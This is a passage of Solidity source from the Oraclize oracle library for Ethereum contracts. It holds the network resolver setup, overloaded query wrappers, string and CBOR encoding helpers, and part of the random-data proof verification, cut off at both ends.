function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
